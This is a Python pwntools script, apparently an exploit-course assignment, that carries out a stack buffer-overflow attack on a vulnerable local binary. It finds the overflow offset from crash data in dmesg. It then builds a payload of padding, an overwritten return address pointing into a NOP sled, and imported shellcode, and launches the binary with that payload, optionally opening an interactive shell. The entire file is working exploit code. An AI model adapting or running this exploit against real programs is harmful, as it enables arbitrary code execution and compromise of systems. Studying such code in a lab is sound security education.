from pwn import *
from shellcode import get_shellcode

pwnlib.term.term_mode= False


''' returns the payload for the attack 
    given the path to the vulnerable binary
    and the shellcode from get_shellcode in shellcode.py
    (string, bytes) -> (bytes, bytes)
'''    
def craft_payload(path_to_vuln_prgm, shellcode):
    #as per document, we need to overwrite null byte of payload2
    #once overwritten, it leads us directly into payload1 (shellcode)
    payload1 = cyclic(600)
    payload2 = b'a'*1000

    p = process([path_to_vuln_prgm, payload1, payload2])
    p.wait_for_close()

    fileName = os.path.basename(path_to_vuln_prgm)
    debug_info = process('dmesg | grep "' + fileName + '" | tail -n 1', stdout=subprocess.PIPE, shell=True).recvall()
    #print(debug_info)

    eipAddr = int(re.search(b'at\ (.*)\ ip', debug_info).group(1), 16)
    espAddr = int(re.search(b'sp\ (.*) error', debug_info).group(1), 16)
    overflowIndex = cyclic_find(p32(eipAddr))

    frontPadding = b't'*overflowIndex
    #start at beginning and go to somewhere IN the nopsled
    newAddr = p32(espAddr - 2012 + overflowIndex + 15)
    nopSled = b'\x90'*20
    #find padding at the back but cannot exceed 600
    rearPadding = b'z'*(600 - len(shellcode) - len(frontPadding) - len(newAddr) - len(nopSled))
    #should add to 600 bytes
    newPayload1 = frontPadding + newAddr + nopSled + shellcode + rearPadding 
    # print(len(frontPadding))
    # print(len(newAddr))
    # print(len(nopSled))
    # print(len(payload1))
    # print(len(shellcode))
    # print(len(rearPadding))
    return (newPayload1, payload2)


def execute_interactive(path_to_vuln_prgm, payload):
    p = process([path_to_vuln_prgm, payload[0], payload[1]])
    p.interactive()
    
def execute_non_interactive(path_to_vuln_prgm, payload):
    p = process([path_to_vuln_prgm, payload[0], payload[1]])
    sys.stdout.buffer.write(p.recvall())

def run(path_to_vuln_prgm):
    interactive, shellcode = get_shellcode()
    payload = craft_payload(path_to_vuln_prgm, shellcode)
    if interactive:
       execute_interactive(path_to_vuln_prgm, payload)
    else:
       execute_non_interactive(path_to_vuln_prgm, payload)
    
if __name__ == "__main__":
   import os, sys, getopt
   def usage():
        print('Usage:    ' + os.path.basename(__file__) + ' path_to_vuln_prgm')
        sys.exit(2)
   try:
      opts, args = getopt.getopt(sys.argv[1:],"h",["help"])
   except getopt.GetoptError as err:
      print(err)
      usage()
   # extract parameters
   path_to_vuln_prgm = args[0] if len(args) > 0 else None
   for opt, arg in opts:
        if opt in ("-h", "--help"):
           usage()
   # check arguments
   if (path_to_vuln_prgm is None):
       print('path_to_vuln_prgm is missing\n')
       usage()
   # run the command
   run(path_to_vuln_prgm)
